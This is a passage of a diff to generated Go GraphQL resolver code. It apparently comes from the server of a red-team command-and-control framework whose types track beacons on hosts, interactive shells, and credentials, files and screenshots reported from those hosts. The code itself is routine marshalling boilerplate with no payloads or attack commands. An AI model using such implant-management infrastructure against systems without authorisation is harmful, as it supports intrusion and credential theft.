fc.Args["before"].(*entgql.Cursor[int]), fc.Args["last"].(*int), fc.Args["orderBy"].([]*ent.ShellTaskOrder), fc.Args["where"].(*ent.ShellTaskWhereInput)) + return obj.ShellTask(ctx) }, nil, - ec.marshalNShellTaskConnection2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐShellTaskConnection, - true, + ec.marshalOShellTask2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐShellTask, true, + false, ) } -func (ec *executionContext) fieldContext_Shell_shellTasks(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { +func (ec *executionContext) fieldContext_Screenshot_shellTask(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { fc = &graphql.FieldContext{ - Object: "Shell", + Object: "Screenshot", Field: field, IsMethod: true, IsResolver: false, Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) { switch field.Name { - case "edges": - return ec.fieldContext_ShellTaskConnection_edges(ctx, field) - case "pageInfo": - return ec.fieldContext_ShellTaskConnection_pageInfo(ctx, field) - case "totalCount": - return ec.fieldContext_ShellTaskConnection_totalCount(ctx, field) + case "id": + return ec.fieldContext_ShellTask_id(ctx, field) + case "createdAt": + return ec.fieldContext_ShellTask_createdAt(ctx, field) + case "lastModifiedAt": + return ec.fieldContext_ShellTask_lastModifiedAt(ctx, field) + case "input": + return ec.fieldContext_ShellTask_input(ctx, field) + case "output": + return ec.fieldContext_ShellTask_output(ctx, field) + case "error": + return ec.fieldContext_ShellTask_error(ctx, field) + case "streamID": + return ec.fieldContext_ShellTask_streamID(ctx, field) + case "sequenceID": + return ec.fieldContext_ShellTask_sequenceID(ctx, field) + case "claimedAt": + return ec.fieldContext_ShellTask_claimedAt(ctx, field) + case "execStartedAt": + return ec.fieldContext_ShellTask_execStartedAt(ctx, field) + case "execFinishedAt": + return ec.fieldContext_ShellTask_execFinishedAt(ctx, field) + case "shell": + return ec.fieldContext_ShellTask_shell(ctx, field) + case "creator": + return ec.fieldContext_ShellTask_creator(ctx, field) + case "reportedCredentials": + return ec.fieldContext_ShellTask_reportedCredentials(ctx, field) + case "reportedFiles": + return ec.fieldContext_ShellTask_reportedFiles(ctx, field) + case "reportedProcesses": + return ec.fieldContext_ShellTask_reportedProcesses(ctx, field) + case "screenshots": + return ec.fieldContext_ShellTask_screenshots(ctx, field) } - return nil, fmt.Errorf("no field named %q was found under type ShellTaskConnection", field.Name) + return nil, fmt.Errorf("no field named %q was found under type ShellTask", field.Name) }, } - defer func() { - if r := recover(); r != nil { - err = ec.Recover(ctx, r) - ec.Error(ctx, err) - } - }() - ctx = graphql.WithFieldContext(ctx, fc) - if fc.Args, err = ec.field_Shell_shellTasks_args(ctx, field.ArgumentMap(ec.Variables)); err != nil { - ec.Error(ctx, err) - return fc, err - } return fc, nil } -func (ec *executionContext) _ShellConnection_edges(ctx context.Context, field graphql.CollectedField, obj *ent.ShellConnection) (ret graphql.Marshaler) { +func (ec *executionContext) _ScreenshotConnection_edges(ctx context.Context, field graphql.CollectedField, obj *ent.ScreenshotConnection) (ret graphql.Marshaler) { return graphql.ResolveField( ctx, ec.OperationContext, field, - ec.fieldContext_ShellConnection_edges, + ec.fieldContext_ScreenshotConnection_edges, func(ctx context.Context) (any, error) { return obj.Edges, nil }, nil, - ec.marshalOShellEdge2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐShellEdge, + ec.marshalOScreenshotEdge2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐScreenshotEdge, true, false, ) } -func (ec *executionContext) fieldContext_ShellConnection_edges(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { +func (ec *executionContext) fieldContext_ScreenshotConnection_edges(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { fc = &graphql.FieldContext{ - Object: "ShellConnection", + Object: "ScreenshotConnection", Field: field, IsMethod: false, IsResolver: false, Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) { switch field.Name { case "node": - return ec.fieldContext_ShellEdge_node(ctx, field) + return ec.fieldContext_ScreenshotEdge_node(ctx, field) case "cursor": - return ec.fieldContext_ShellEdge_cursor(ctx, field) + return ec.fieldContext_ScreenshotEdge_cursor(ctx, field) } - return nil, fmt.Errorf("no field named %q was found under type ShellEdge", field.Name) + return nil, fmt.Errorf("no field named %q was found under type ScreenshotEdge", field.Name) }, } return fc, nil } -func (ec *executionContext) _ShellConnection_pageInfo(ctx context.Context, field graphql.CollectedField, obj *ent.ShellConnection) (ret graphql.Marshaler) { +func (ec *executionContext) _ScreenshotConnection_pageInfo(ctx context.Context, field graphql.CollectedField, obj *ent.ScreenshotConnection) (ret graphql.Marshaler) { return graphql.ResolveField( ctx, ec.OperationContext, field, - ec.fieldContext_ShellConnection_pageInfo, + ec.fieldContext_ScreenshotConnection_pageInfo, func(ctx context.Context) (any, error) { return obj.PageInfo, nil }, @@ -10254,9 +10338,9 @@ func (ec *executionContext) _ShellConnection_pageInfo(ctx context.Context, field ) } -func (ec *executionContext) fieldContext_ShellConnection_pageInfo(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { +func (ec *executionContext) fieldContext_ScreenshotConnection_pageInfo(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { fc = &graphql.FieldContext{ - Object: "ShellConnection", + Object: "ScreenshotConnection", Field: field, IsMethod: false, IsResolver: false, @@ -10277,12 +10361,12 @@ func (ec *executionContext) fieldContext_ShellConnection_pageInfo(_ context.Cont return fc, nil } -func (ec *executionContext) _ShellConnection_totalCount(ctx context.Context, field graphql.CollectedField, obj *ent.ShellConnection) (ret graphql.Marshaler) { +func (ec *executionContext) _ScreenshotConnection_totalCount(ctx context.Context, field graphql.CollectedField, obj *ent.ScreenshotConnection) (ret graphql.Marshaler) { return graphql.ResolveField( ctx, ec.OperationContext, field, - ec.fieldContext_ShellConnection_totalCount, + ec.fieldContext_ScreenshotConnection_totalCount, func(ctx context.Context) (any, error) { return obj.TotalCount, nil }, @@ -10293,9 +10377,9 @@ func (ec *executionContext) _ShellConnection_totalCount(ctx context.Context, fie ) } -func (ec *executionContext) fieldContext_ShellConnection_totalCount(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { +func (ec *executionContext) fieldContext_ScreenshotConnection_totalCount(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { fc = &graphql.FieldContext{ - Object: "ShellConnection", + Object: "ScreenshotConnection", Field: field, IsMethod: false, IsResolver: false, @@ -10306,63 +10390,61 @@ func (ec *executionContext) fieldContext_ShellConnection_totalCount(_ context.Co return fc, nil } -func (ec *executionContext) _ShellEdge_node(ctx context.Context, field graphql.CollectedField, obj *ent.ShellEdge) (ret graphql.Marshaler) { +func (ec *executionContext) _ScreenshotEdge_node(ctx context.Context, field graphql.CollectedField, obj *ent.ScreenshotEdge) (ret graphql.Marshaler) { return graphql.ResolveField( ctx, ec.OperationContext, field, - ec.fieldContext_ShellEdge_node, + ec.fieldContext_ScreenshotEdge_node, func(ctx context.Context) (any, error) { return obj.Node, nil }, nil, - ec.marshalOShell2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐShell, + ec.marshalOScreenshot2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐScreenshot, true, false, ) } -func (ec *executionContext) fieldContext_ShellEdge_node(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { +func (ec *executionContext) fieldContext_ScreenshotEdge_node(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { fc = &graphql.FieldContext{ - Object: "ShellEdge", + Object: "ScreenshotEdge", Field: field, IsMethod: false, IsResolver: false, Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) { switch field.Name { case "id": - return ec.fieldContext_Shell_id(ctx, field) + return ec.fieldContext_Screenshot_id(ctx, field) case "createdAt": - return ec.fieldContext_Shell_createdAt(ctx, field) + return ec.fieldContext_Screenshot_createdAt(ctx, field) case "lastModifiedAt": - return ec.fieldContext_Shell_lastModifiedAt(ctx, field) - case "closedAt": - return ec.fieldContext_Shell_closedAt(ctx, field) + return ec.fieldContext_Screenshot_lastModifiedAt(ctx, field) + case "name": + return ec.fieldContext_Screenshot_name(ctx, field) + case "size": + return ec.fieldContext_Screenshot_size(ctx, field) + case "hash": + return ec.fieldContext_Screenshot_hash(ctx, field) + case "host": + return ec.fieldContext_Screenshot_host(ctx, field) case "task": - return ec.fieldContext_Shell_task(ctx, field) - case "beacon": - return ec.fieldContext_Shell_beacon(ctx, field) - case "owner": - return ec.fieldContext_Shell_owner(ctx, field) - case "portals": - return ec.fieldContext_Shell_portals(ctx, field) - case "activeUsers": - return ec.fieldContext_Shell_activeUsers(ctx, field) - case "shellTasks": - return ec.fieldContext_Shell_shellTasks(ctx, field) + return ec.fieldContext_Screenshot_task(ctx, field) + case "shellTask": + return ec.fieldContext_Screenshot_shellTask(ctx, field) } - return nil, fmt.Errorf("no field named %q was found under type Shell", field.Name) + return nil, fmt.Errorf("no field named %q was found under type Screenshot", field.Name) }, } return fc, nil } -func (ec *executionContext) _ShellEdge_cursor(ctx context.Context, field graphql.CollectedField, obj *ent.ShellEdge) (ret graphql.Marshaler) { +func (ec *executionContext) _ScreenshotEdge_cursor(ctx context.Context, field graphql.CollectedField, obj *ent.ScreenshotEdge) (ret graphql.Marshaler) { return graphql.ResolveField( ctx, ec.OperationContext, field, - ec.fieldContext_ShellEdge_cursor, + ec.fieldContext_ScreenshotEdge_cursor, func(ctx context.Context) (any, error) { return obj.Cursor, nil }, @@ -10373,9 +10455,9 @@ func (ec *executionContext) _ShellEdge_cursor(ctx context.Context, field graphql ) } -func (ec *executionContext) fieldContext_ShellEdge_cursor(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { +func (ec *executionContext) fieldContext_ScreenshotEdge_cursor(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { fc = &graphql.FieldContext{ - Object: "ShellEdge", + Object: "ScreenshotEdge", Field: field, IsMethod: false, IsResolver: false, @@ -10386,12 +10468,12 @@ func (ec *executionContext) fieldContext_ShellEdge_cursor(_ context.Context, fie return fc, nil } -func (ec *executionContext) _ShellTask_id(ctx context.Context, field graphql.CollectedField, obj *ent.ShellTask) (ret graphql.Marshaler) { +func (ec *executionContext) _Shell_id(ctx context.Context, field graphql.CollectedField, obj *ent.Shell) (ret graphql.Marshaler) { return graphql.ResolveField( ctx, ec.OperationContext, field, - ec.fieldContext_ShellTask_id, + ec.fieldContext_Shell_id, func(ctx context.Context) (any, error) { return obj.ID, nil }, @@ -10402,9 +10484,9 @@ func (ec *executionContext) _ShellTask_id(ctx context.Context, field graphql.Col ) } -func (ec *executionContext) fieldContext_ShellTask_id(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { +func (ec *executionContext) fieldContext_Shell_id(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { fc = &graphql.FieldContext{ - Object: "ShellTask", + Object: "Shell", Field: field, IsMethod: false, IsResolver: false, @@ -10415,12 +10497,12 @@ func (ec *executionContext) fieldContext_ShellTask_id(_ context.Context, field g return fc, nil } -func (ec *executionContext) _ShellTask_createdAt(ctx context.Context, field graphql.CollectedField, obj *ent.ShellTask) (ret graphql.Marshaler) { +func (ec *executionContext) _Shell_createdAt(ctx context.Context, field graphql.CollectedField, obj *ent.Shell) (ret graphql.Marshaler) { return graphql.ResolveField( ctx, ec.OperationContext, field, - ec.fieldContext_ShellTask_createdAt, + ec.fieldContext_Shell_createdAt, func(ctx context.Context) (any, error) { return obj.CreatedAt, nil }, @@ -10431,9 +10513,9 @@ func (ec *executionContext) _ShellTask_createdAt(ctx context.Context, field grap ) } -func (ec *executionContext) fieldContext_ShellTask_createdAt(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { +func (ec *executionContext) fieldContext_Shell_createdAt(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { fc = &graphql.FieldContext{ - Object: "ShellTask", + Object: "Shell", Field: field, IsMethod: false, IsResolver: false, @@ -10444,12 +10526,12 @@ func (ec *executionContext) fieldContext_ShellTask_createdAt(_ context.Context, return fc, nil } -func (ec *executionContext) _ShellTask_lastModifiedAt(ctx context.Context, field graphql.CollectedField, obj *ent.ShellTask) (ret graphql.Marshaler) { +func (ec *executionContext) _Shell_lastModifiedAt(ctx context.Context, field graphql.CollectedField, obj *ent.Shell) (ret graphql.Marshaler) { return graphql.ResolveField( ctx, ec.OperationContext, field, - ec.fieldContext_ShellTask_lastModifiedAt, + ec.fieldContext_Shell_lastModifiedAt, func(ctx context.Context) (any, error) { return obj.LastModifiedAt, nil }, @@ -10460,9 +10542,9 @@ func (ec *executionContext) _ShellTask_lastModifiedAt(ctx context.Context, field ) } -func (ec *executionContext) fieldContext_ShellTask_lastModifiedAt(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { +func (ec *executionContext) fieldContext_Shell_lastModifiedAt(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { fc = &graphql.FieldContext{ - Object: "ShellTask", + Object: "Shell", Field: field, IsMethod: false, IsResolver: false, @@ -10473,23 +10555,636 @@ func (ec *executionContext) fieldContext_ShellTask_lastModifiedAt(_ context.Cont return fc, nil } -func (ec *executionContext) _ShellTask_input(ctx context.Context, field graphql.CollectedField, obj *ent.ShellTask) (ret graphql.Marshaler) { +func (ec *executionContext) _Shell_closedAt(ctx context.Context, field graphql.CollectedField, obj *ent.Shell) (ret graphql.Marshaler) { return graphql.ResolveField( ctx, ec.OperationContext, field, - ec.fieldContext_ShellTask_input, + ec.fieldContext_Shell_closedAt, func(ctx context.Context) (any, error) { - return obj.Input, nil + return obj.ClosedAt, nil }, nil, - ec.marshalNString2string, - true, + ec.marshalOTime2timeᚐTime, true, + false, ) } -func (ec *executionContext) fieldContext_ShellTask_input(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { +func (ec *executionContext) fieldContext_Shell_closedAt(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { + fc = &graphql.FieldContext{ + Object: "Shell", + Field: field, + IsMethod: false, + IsResolver: false, + Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) { + return nil, errors.New("field of type Time does not have child fields") + }, + } + return fc, nil +} + +func (ec *executionContext) _Shell_task(ctx context.Context, field graphql.CollectedField, obj *ent.Shell) (ret graphql.Marshaler) { + return graphql.ResolveField( + ctx, + ec.OperationContext, + field, + ec.fieldContext_Shell_task, + func(ctx context.Context) (any, error) { + return obj.Task(ctx) + }, + nil, + ec.marshalOTask2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐTask, + true, + false, + ) +} + +func (ec *executionContext) fieldContext_Shell_task(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { + fc = &graphql.FieldContext{ + Object: "Shell", + Field: field, + IsMethod: true, + IsResolver: false, + Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) { + switch field.Name { + case "id": + return ec.fieldContext_Task_id(ctx, field) + case "createdAt": + return ec.fieldContext_Task_createdAt(ctx, field) + case "lastModifiedAt": + return ec.fieldContext_Task_lastModifiedAt(ctx, field) + case "claimedAt": + return ec.fieldContext_Task_claimedAt(ctx, field) + case "execStartedAt": + return ec.fieldContext_Task_execStartedAt(ctx, field) + case "execFinishedAt": + return ec.fieldContext_Task_execFinishedAt(ctx, field) + case "output": + return ec.fieldContext_Task_output(ctx, field) + case "outputSize": + return ec.fieldContext_Task_outputSize(ctx, field) + case "error": + return ec.fieldContext_Task_error(ctx, field) + case "quest": + return ec.fieldContext_Task_quest(ctx, field) + case "beacon": + return ec.fieldContext_Task_beacon(ctx, field) + case "reportedFiles": + return ec.fieldContext_Task_reportedFiles(ctx, field) + case "reportedProcesses": + return ec.fieldContext_Task_reportedProcesses(ctx, field) + case "reportedCredentials": + return ec.fieldContext_Task_reportedCredentials(ctx, field) + case "shells": + return ec.fieldContext_Task_shells(ctx, field) + case "screenshots": + return ec.fieldContext_Task_screenshots(ctx, field) + } + return nil, fmt.Errorf("no field named %q was found under type Task", field.Name) + }, + } + return fc, nil +} + +func (ec *executionContext) _Shell_beacon(ctx context.Context, field graphql.CollectedField, obj *ent.Shell) (ret graphql.Marshaler) { + return graphql.ResolveField( + ctx, + ec.OperationContext, + field, + ec.fieldContext_Shell_beacon, + func(ctx context.Context) (any, error) { + return obj.Beacon(ctx) + }, + nil, + ec.marshalNBeacon2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐBeacon, + true, + true, + ) +} + +func (ec *executionContext) fieldContext_Shell_beacon(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { + fc = &graphql.FieldContext{ + Object: "Shell", + Field: field, + IsMethod: true, + IsResolver: false, + Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) { + switch field.Name { + case "id": + return ec.fieldContext_Beacon_id(ctx, field) + case "createdAt": + return ec.fieldContext_Beacon_createdAt(ctx, field) + case "lastModifiedAt": + return ec.fieldContext_Beacon_lastModifiedAt(ctx, field) + case "name": + return ec.fieldContext_Beacon_name(ctx, field) + case "principal": + return ec.fieldContext_Beacon_principal(ctx, field) + case "identifier": + return ec.fieldContext_Beacon_identifier(ctx, field) + case "agentIdentifier": + return ec.fieldContext_Beacon_agentIdentifier(ctx, field) + case "lastSeenAt": + return ec.fieldContext_Beacon_lastSeenAt(ctx, field) + case "nextSeenAt": + return ec.fieldContext_Beacon_nextSeenAt(ctx, field) + case "interval": + return ec.fieldContext_Beacon_interval(ctx, field) + case "transport": + return ec.fieldContext_Beacon_transport(ctx, field) + case "host": + return ec.fieldContext_Beacon_host(ctx, field) + case "tasks": + return ec.fieldContext_Beacon_tasks(ctx, field) + case "shells": + return ec.fieldContext_Beacon_shells(ctx, field) + } + return nil, fmt.Errorf("no field named %q was found under type Beacon", field.Name) + }, + } + return fc, nil +} + +func (ec *executionContext) _Shell_owner(ctx context.Context, field graphql.CollectedField, obj *ent.Shell) (ret graphql.Marshaler) { + return graphql.ResolveField( + ctx, + ec.OperationContext, + field, + ec.fieldContext_Shell_owner, + func(ctx context.Context) (any, error) { + return obj.Owner(ctx) + }, + nil, + ec.marshalNUser2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐUser, + true, + true, + ) +} + +func (ec *executionContext) fieldContext_Shell_owner(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { + fc = &graphql.FieldContext{ + Object: "Shell", + Field: field, + IsMethod: true, + IsResolver: false, + Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) { + switch field.Name { + case "id": + return ec.fieldContext_User_id(ctx, field) + case "name": + return ec.fieldContext_User_name(ctx, field) + case "photoURL": + return ec.fieldContext_User_photoURL(ctx, field) + case "isActivated": + return ec.fieldContext_User_isActivated(ctx, field) + case "isAdmin": + return ec.fieldContext_User_isAdmin(ctx, field) + case "tomes": + return ec.fieldContext_User_tomes(ctx, field) + case "activeShells": + return ec.fieldContext_User_activeShells(ctx, field) + } + return nil, fmt.Errorf("no field named %q was found under type User", field.Name) + }, + } + return fc, nil +} + +func (ec *executionContext) _Shell_portals(ctx context.Context, field graphql.CollectedField, obj *ent.Shell) (ret graphql.Marshaler) { + return graphql.ResolveField( + ctx, + ec.OperationContext, + field, + ec.fieldContext_Shell_portals, + func(ctx context.Context) (any, error) { + return obj.Portals(ctx) + }, + nil, + ec.marshalOPortal2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐPortalᚄ, + true, + false, + ) +} + +func (ec *executionContext) fieldContext_Shell_portals(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { + fc = &graphql.FieldContext{ + Object: "Shell", + Field: field, + IsMethod: true, + IsResolver: false, + Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) { + switch field.Name { + case "id": + return ec.fieldContext_Portal_id(ctx, field) + case "createdAt": + return ec.fieldContext_Portal_createdAt(ctx, field) + case "lastModifiedAt": + return ec.fieldContext_Portal_lastModifiedAt(ctx, field) + case "closedAt": + return ec.fieldContext_Portal_closedAt(ctx, field) + case "task": + return ec.fieldContext_Portal_task(ctx, field) + case "shellTask": + return ec.fieldContext_Portal_shellTask(ctx, field) + case "beacon": + return ec.fieldContext_Portal_beacon(ctx, field) + case "owner": + return ec.fieldContext_Portal_owner(ctx, field) + case "activeUsers": + return ec.fieldContext_Portal_activeUsers(ctx, field) + } + return nil, fmt.Errorf("no field named %q was found under type Portal", field.Name) + }, + } + return fc, nil +} + +func (ec *executionContext) _Shell_activeUsers(ctx context.Context, field graphql.CollectedField, obj *ent.Shell) (ret graphql.Marshaler) { + return graphql.ResolveField( + ctx, + ec.OperationContext, + field, + ec.fieldContext_Shell_activeUsers, + func(ctx context.Context) (any, error) { + fc := graphql.GetFieldContext(ctx) + return obj.ActiveUsers(ctx, fc.Args["after"].(*entgql.Cursor[int]), fc.Args["first"].(*int), fc.Args["before"].(*entgql.Cursor[int]), fc.Args["last"].(*int), fc.Args["orderBy"].([]*ent.UserOrder), fc.Args["where"].(*ent.UserWhereInput)) + }, + nil, + ec.marshalNUserConnection2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐUserConnection, + true, + true, + ) +} + +func (ec *executionContext) fieldContext_Shell_activeUsers(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { + fc = &graphql.FieldContext{ + Object: "Shell", + Field: field, + IsMethod: true, + IsResolver: false, + Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) { + switch field.Name { + case "edges": + return ec.fieldContext_UserConnection_edges(ctx, field) + case "pageInfo": + return ec.fieldContext_UserConnection_pageInfo(ctx, field) + case "totalCount": + return ec.fieldContext_UserConnection_totalCount(ctx, field) + } + return nil, fmt.Errorf("no field named %q was found under type UserConnection", field.Name) + }, + } + defer func() { + if r := recover(); r != nil { + err = ec.Recover(ctx, r) + ec.Error(ctx, err) + } + }() + ctx = graphql.WithFieldContext(ctx, fc) + if fc.Args, err = ec.field_Shell_activeUsers_args(ctx, field.ArgumentMap(ec.Variables)); err != nil { + ec.Error(ctx, err) + return fc, err + } + return fc, nil +} + +func (ec *executionContext) _Shell_shellTasks(ctx context.Context, field graphql.CollectedField, obj *ent.Shell) (ret graphql.Marshaler) { + return graphql.ResolveField( + ctx, + ec.OperationContext, + field, + ec.fieldContext_Shell_shellTasks, + func(ctx context.Context) (any, error) { + fc := graphql.GetFieldContext(ctx) + return obj.ShellTasks(ctx, fc.Args["after"].(*entgql.Cursor[int]), fc.Args["first"].(*int), fc.Args["before"].(*entgql.Cursor[int]), fc.Args["last"].(*int), fc.Args["orderBy"].([]*ent.ShellTaskOrder), fc.Args["where"].(*ent.ShellTaskWhereInput)) + }, + nil, + ec.marshalNShellTaskConnection2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐShellTaskConnection, + true, + true, + ) +} + +func (ec *executionContext) fieldContext_Shell_shellTasks(ctx context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { + fc = &graphql.FieldContext{ + Object: "Shell", + Field: field, + IsMethod: true, + IsResolver: false, + Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) { + switch field.Name { + case "edges": + return ec.fieldContext_ShellTaskConnection_edges(ctx, field) + case "pageInfo": + return ec.fieldContext_ShellTaskConnection_pageInfo(ctx, field) + case "totalCount": + return ec.fieldContext_ShellTaskConnection_totalCount(ctx, field) + } + return nil, fmt.Errorf("no field named %q was found under type ShellTaskConnection", field.Name) + }, + } + defer func() { + if r := recover(); r != nil { + err = ec.Recover(ctx, r) + ec.Error(ctx, err) + } + }() + ctx = graphql.WithFieldContext(ctx, fc) + if fc.Args, err = ec.field_Shell_shellTasks_args(ctx, field.ArgumentMap(ec.Variables)); err != nil { + ec.Error(ctx, err) + return fc, err + } + return fc, nil +} + +func (ec *executionContext) _ShellConnection_edges(ctx context.Context, field graphql.CollectedField, obj *ent.ShellConnection) (ret graphql.Marshaler) { + return graphql.ResolveField( + ctx, + ec.OperationContext, + field, + ec.fieldContext_ShellConnection_edges, + func(ctx context.Context) (any, error) { + return obj.Edges, nil + }, + nil, + ec.marshalOShellEdge2ᚕᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐShellEdge, + true, + false, + ) +} + +func (ec *executionContext) fieldContext_ShellConnection_edges(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { + fc = &graphql.FieldContext{ + Object: "ShellConnection", + Field: field, + IsMethod: false, + IsResolver: false, + Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) { + switch field.Name { + case "node": + return ec.fieldContext_ShellEdge_node(ctx, field) + case "cursor": + return ec.fieldContext_ShellEdge_cursor(ctx, field) + } + return nil, fmt.Errorf("no field named %q was found under type ShellEdge", field.Name) + }, + } + return fc, nil +} + +func (ec *executionContext) _ShellConnection_pageInfo(ctx context.Context, field graphql.CollectedField, obj *ent.ShellConnection) (ret graphql.Marshaler) { + return graphql.ResolveField( + ctx, + ec.OperationContext, + field, + ec.fieldContext_ShellConnection_pageInfo, + func(ctx context.Context) (any, error) { + return obj.PageInfo, nil + }, + nil, + ec.marshalNPageInfo2entgoᚗioᚋcontribᚋentgqlᚐPageInfo, + true, + true, + ) +} + +func (ec *executionContext) fieldContext_ShellConnection_pageInfo(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { + fc = &graphql.FieldContext{ + Object: "ShellConnection", + Field: field, + IsMethod: false, + IsResolver: false, + Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) { + switch field.Name { + case "hasNextPage": + return ec.fieldContext_PageInfo_hasNextPage(ctx, field) + case "hasPreviousPage": + return ec.fieldContext_PageInfo_hasPreviousPage(ctx, field) + case "startCursor": + return ec.fieldContext_PageInfo_startCursor(ctx, field) + case "endCursor": + return ec.fieldContext_PageInfo_endCursor(ctx, field) + } + return nil, fmt.Errorf("no field named %q was found under type PageInfo", field.Name) + }, + } + return fc, nil +} + +func (ec *executionContext) _ShellConnection_totalCount(ctx context.Context, field graphql.CollectedField, obj *ent.ShellConnection) (ret graphql.Marshaler) { + return graphql.ResolveField( + ctx, + ec.OperationContext, + field, + ec.fieldContext_ShellConnection_totalCount, + func(ctx context.Context) (any, error) { + return obj.TotalCount, nil + }, + nil, + ec.marshalNInt2int, + true, + true, + ) +} + +func (ec *executionContext) fieldContext_ShellConnection_totalCount(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { + fc = &graphql.FieldContext{ + Object: "ShellConnection", + Field: field, + IsMethod: false, + IsResolver: false, + Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) { + return nil, errors.New("field of type Int does not have child fields") + }, + } + return fc, nil +} + +func (ec *executionContext) _ShellEdge_node(ctx context.Context, field graphql.CollectedField, obj *ent.ShellEdge) (ret graphql.Marshaler) { + return graphql.ResolveField( + ctx, + ec.OperationContext, + field, + ec.fieldContext_ShellEdge_node, + func(ctx context.Context) (any, error) { + return obj.Node, nil + }, + nil, + ec.marshalOShell2ᚖrealmᚗpubᚋtavernᚋinternalᚋentᚐShell, + true, + false, + ) +} + +func (ec *executionContext) fieldContext_ShellEdge_node(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { + fc = &graphql.FieldContext{ + Object: "ShellEdge", + Field: field, + IsMethod: false, + IsResolver: false, + Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) { + switch field.Name { + case "id": + return ec.fieldContext_Shell_id(ctx, field) + case "createdAt": + return ec.fieldContext_Shell_createdAt(ctx, field) + case "lastModifiedAt": + return ec.fieldContext_Shell_lastModifiedAt(ctx, field) + case "closedAt": + return ec.fieldContext_Shell_closedAt(ctx, field) + case "task": + return ec.fieldContext_Shell_task(ctx, field) + case "beacon": + return ec.fieldContext_Shell_beacon(ctx, field) + case "owner": + return ec.fieldContext_Shell_owner(ctx, field) + case "portals": + return ec.fieldContext_Shell_portals(ctx, field) + case "activeUsers": + return ec.fieldContext_Shell_activeUsers(ctx, field) + case "shellTasks": + return ec.fieldContext_Shell_shellTasks(ctx, field) + } + return nil, fmt.Errorf("no field named %q was found under type Shell", field.Name) + }, + } + return fc, nil +} + +func (ec *executionContext) _ShellEdge_cursor(ctx context.Context, field graphql.CollectedField, obj *ent.ShellEdge) (ret graphql.Marshaler) { + return graphql.ResolveField( + ctx, + ec.OperationContext, + field, + ec.fieldContext_ShellEdge_cursor, + func(ctx context.Context) (any, error) { + return obj.Cursor, nil + }, + nil, + ec.marshalNCursor2entgoᚗioᚋcontribᚋentgqlᚐCursor, + true, + true, + ) +} + +func (ec *executionContext) fieldContext_ShellEdge_cursor(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { + fc = &graphql.FieldContext{ + Object: "ShellEdge", + Field: field, + IsMethod: false, + IsResolver: false, + Child: func(ctx context.Context, field graphql.CollectedField) (*graphql.FieldContext, error) { + return nil, errors.New("field of type Cursor does not have child fields") + }, + } + return fc, nil +} + +func (ec *executionContext) _ShellTask_id(ctx context.Context, field graphql.CollectedField, obj *ent.ShellTask) (ret graphql.Marshaler) { + return graphql.ResolveField( + ctx, + ec.OperationContext, + field, + ec.fieldContext_ShellTask_id, + func(ctx context.Context) (any, error) { + return obj.ID, nil + }, + nil, + ec.marshalNID2int, + true, + true, + ) +} + +func (ec *executionContext) fieldContext_ShellTask_id(_ context.Context, field graphql.CollectedField) (fc *graphql.FieldContext, err error) { + fc = &graphql.FieldContext{ + Object: 